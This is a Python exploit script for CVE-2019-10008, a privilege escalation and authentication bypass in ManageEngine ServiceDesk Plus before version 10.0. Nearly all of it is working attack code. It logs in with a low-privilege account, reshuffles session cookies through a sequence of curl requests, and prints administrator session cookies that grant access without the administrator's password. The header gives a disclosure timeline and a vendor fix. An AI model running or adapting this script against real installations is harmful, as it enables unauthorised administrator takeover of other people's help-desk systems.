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#!/usr/bin/python # Exploit Title: Manage Engine ServiceDesk Plus Version <10.0 Privilege Escalation # Date: 30-03-2019 # Exploit Author: Ata Hakçıl, Melih Kaan Yıldız # Vendor: ManageEngine # Vendor Homepage: www.manageengine.com # Product: Service Desk Plus # Version: 10.0 # Tested On: Kali Linux # CVE: CVE-2019-10008 # Platform: JSP # Timeline # 22 march 2019: Discovery # 24 march 2019: CVE id reserved for CVE-2019-10008 # 26 march 2019: First contact with vendor # 5april 2019: First publication # 10 april 2019: Vendor confirmation # 11 april 2019: Vendor released a fix (version 10017) # Reference link: https://www.manageengine.com/products/service-desk/readme.html import os import re # How to use: Change the host, low_username, low_password and high_username variables depending on what you have. # Low username and password is an account you have access to. high_username is account you want to authenticate as. # After running the script, it will output you the cookies that you can set on your browser to login to the high_username without password. #Host ip address + port host="localhost:8080" #set to https if needed url = "http://" + host #Username with credentials you have low_username="guest" low_password="guest" #username you want to login as high_username="administrator" print("\033[1;37mUrl: \033[1;32m" + url) print("\033[1;37mUser with low priv: \033[1;32m" + low_username + ':' + low_password) print("\033[1;37mUser to bypass authentication to: \033[1;32m" + high_username) print("\033[1;32mGetting a session id\033[1;37m") # Get index page to capture a session id curl = "curl -i -s -k-X $'GET' \ -H $'Host: "+host+"'-H $'Referer: "+url+"/' -H $'Connection: close'\ $'"+url+"/'" out = os.popen('/bin/bash -c "' + curl+'"').read() sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0] print("Sessid:") print(sessid) print("\033[1;31mLogging in with low privilege user\033[1;37m") #Attempt login post request curl="curl -i -s -k -X $'POST' -H $'Host: "+host+"'\ -H $'Referer: "+url+"/'\ -H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \ -b $'JSESSIONID="+sessid+"' \ --data-binary $'j_username="+low_username+"&j_password="+low_password+"&LDAPEnable=false&\ hidden=Select+a+Domain&hidden=For+Domain&AdEnable=false&DomainCount=0&LocalAuth=No&LocalAuthWithDomain=No&\ dynamicUserAddition_status=true&localAuthEnable=true&logonDomainName=-1&loginButton=Login&checkbox=checkbox' \ $'"+url+"/j_security_check'" out = os.popen('/bin/bash -c "' + curl+'"').read() #Instead of following redirects with -L, following manually because we don't need all the transactions. curl="curl -i -s -k -X $'GET' -H $'Host: "+host+"'\ -H $'Referer: "+url+"/'\ -H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \ -b $'JSESSIONID="+sessid+"' \ $'"+url+"/'" out = os.popen('/bin/bash -c "' + curl+'"').read() print("\033[1;32mCaptured authenticated cookies.\033[1;37m") sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0] print(sessid) sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0] print(sessidsso) grbl = re.findall("(?<=Set-Cookie: )[^=]*=[^;]*",out) grbl2 = [] for cookie in grbl: cl = cookie.split('=') if cl[0]!='JSESSIONID' and cl[0]!='JSESSIONIDSSO' and cl[0]!='_rem': grbl2.append(cl[0]) grbl2.append(cl[1]) curl = "curl -i -s -k -X $'GET' \ -H $'Host: "+host+"' \ -H $'Cookie: JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ -b $'JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ $'"+url+"/mc/'" out = os.popen('/bin/bash -c "' + curl+'"').read() sessid2 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0] print("\033[1;32mCaptured secondary sessid.\033[1;37m") print(sessid2) print("\033[1;31mDoing the magic step 1.\033[1;37m") curl = "curl -i -s -k -X $'GET' \ -H $'Host: "+host+"' \ -H $'Referer: "+url+"/mc/WOListView.do' \ -H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ -b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ $'"+url+"/mc/jsp/MCLogOut.jsp'" out = os.popen('/bin/bash -c "' + curl+'"').read() print("\033[1;31mDoing the magic step 2.\033[1;37m") curl = "curl -i -s -k -X $'GET' \ -H $'Host: "+host+"' \ -H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ -b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ $'"+url+"/mc/jsp/MCDashboard.jsp'" out = os.popen('/bin/bash -c "' + curl+'"').read() sessid3 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0] sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0] curl = "curl -i -s -k -X $'GET' \ -H $'Host: "+host+"' \ -H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ -b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ $'"+url+"/'" out = os.popen('/bin/bash -c "' + curl+'"').read() sessid4 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0] curl = "curl -i -s -k -X $'POST' \ -H $'"+host+"' \ -H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \ -H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ -b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ --data-binary $'j_username="+high_username+"&j_password=bypassingpass&DOMAIN_NAME=' \ $'"+url+"/mc/j_security_check'" out = os.popen('/bin/bash -c "' + curl+'"').read() curl = "curl -i -s -k -X $'GET' \ -H $'Host: "+host+"' \ -H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \ -H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ -H $'Upgrade-Insecure-Requests: 1' \ -b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \ $'"+url+"/mc/jsp/MCDashboard.jsp'" out = os.popen('/bin/bash -c "' + curl+'"').read() sessidhigh = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0] sessidssohigh = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0] print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m") print("JSESSIONID=" + sessidhigh) print("JSESSIONIDSSO=" + sessidssohigh) print(grbl2[0] + "=" + grbl2[1]) print(grbl2[2] + "=" + grbl2[3]) print("_rem=true") |
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